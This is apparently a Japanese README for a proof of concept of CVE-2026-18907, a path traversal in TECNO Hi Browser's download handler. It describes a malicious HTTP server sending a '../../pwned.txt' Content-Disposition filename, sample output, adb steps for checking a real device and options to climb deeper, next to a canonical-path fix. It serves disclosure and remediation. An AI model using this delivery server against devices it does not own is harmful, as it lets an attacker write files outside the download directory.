
TECNO Hi BrowserのダウンロードハンドラにおけるCVE-2026-18907パストラバーサルのPython PoC。修正を実証するために、悪意のあるHTTPサーバと単純なダウンローダを含みます。
CVE-2026-18907(CVSS 7.5 High、CWE-23)の概念実証コードです。TECNO Hi
Browser(com.talpa.hibrowser)バージョン 2.23.1.1 のダウンロードファイル機能に存在する、相対
パストラバーサル脆弱性を実証します。当該ブラウザは攻撃者が制御する Content-Disposition のファイル名を信頼し、パス区切り文字のサニタイズや正規パスによる検証を行わずにダウンロードディレクトリへ連結していました。そのため、ファイル名内の ../ シーケンスにより、レスポンスボディを Download/ の外部、ブラウザのストレージ権限が許す任意のパスへ書き込むことが可能でした。
この PoC には、プロプライエタリな
com.talpa.hibrowserAPK は含まれていません。 これは、(a) 悪意のある HTTP 配信 の正確な挙動と、(b) バグの 根本原因クラス (レスポンスのファイル名をパスコンポーネントとして信頼するダウンローダ)を実証します。 同じプリミティブが CVE-2026-18907 で説明されているものです。
| ファイル | 目的 |
|---|---|
evil_server.py | 悪意のある HTTP サーバー。Content-Disposition のファイル名に ../ を含む単一のレスポンスを配信します。これが 配信 です。 |
naive_downloader.py |
# ターミナル 1 — 配信サーバーを起動
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# ターミナル 2 — 上記に対して naive ダウンローダを実行
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
脆弱な join は /tmp/demo/Download/../../pwned.txt を生成し、OS が .. を解決した結果、ファイルはダウンロードディレクトリの外である /tmp/pwned.txt に実体化しました。修正版はまず os.path.basename() を適用し(../ はパス情報であるため破棄され、pwned.txt だけが残ります)、その後、正規パスがダウンロードディレクトリ内に留まることを検証しました。
テストデバイスから到達可能なホストで evil_server.py を起動し、脆弱なブラウザで http://<host>:8000/ にアクセスします。attachment ダウンロードを自動開始し、ファイル名をサニタイズしないブラウザでは、../ チェーンによって解決されたパスにファイルが書き込まれます。adb で包含チェックの失敗を確認します:
$ adb shell ls -la /sdcard/Download/ # 何もない — ファイル名はここに届いていない
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # ダウンロードディレクトリからエスケープした
デバイスに合わせて --depth で上昇深度を調整できます(デフォルトの 2 は /sdcard/Download/ から /sdcard/ まで戻します。さらに上へ登るには値を増やします)。着地先の basename は --target で指定します。
どのダウンロードマネージャでも、CWE-23 クラス全体は次の2つの習慣を併用することで解消します:
/ まで(/ 自身を含む)をすべて取り除く。File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
../ をブラックリストで拒否してはいけません。トラバーサルと等価なエンコーディングの集合は開いています。正規化してから比較してください。そのアルゴリズムは閉じています。
サーバーは自分が管理するネットワーク上でのみ実行し、自分が所有するデバイスに対してのみテストしてください。パストラバーサルによる書き込みは、定義上、ファイル書き込みプリミティブです。上書きしても構わない対象以外には向けないでください。
MIT — 完全な帰属と一次ソースについては関連記事を参照してください。
脆弱な join(dir, filename) パターンを再現する最小限のダウンローダと、修正版(basename + 正規パス包含チェック)を併せて提供し、エスケープの様子を一回の実行で確認できます。 |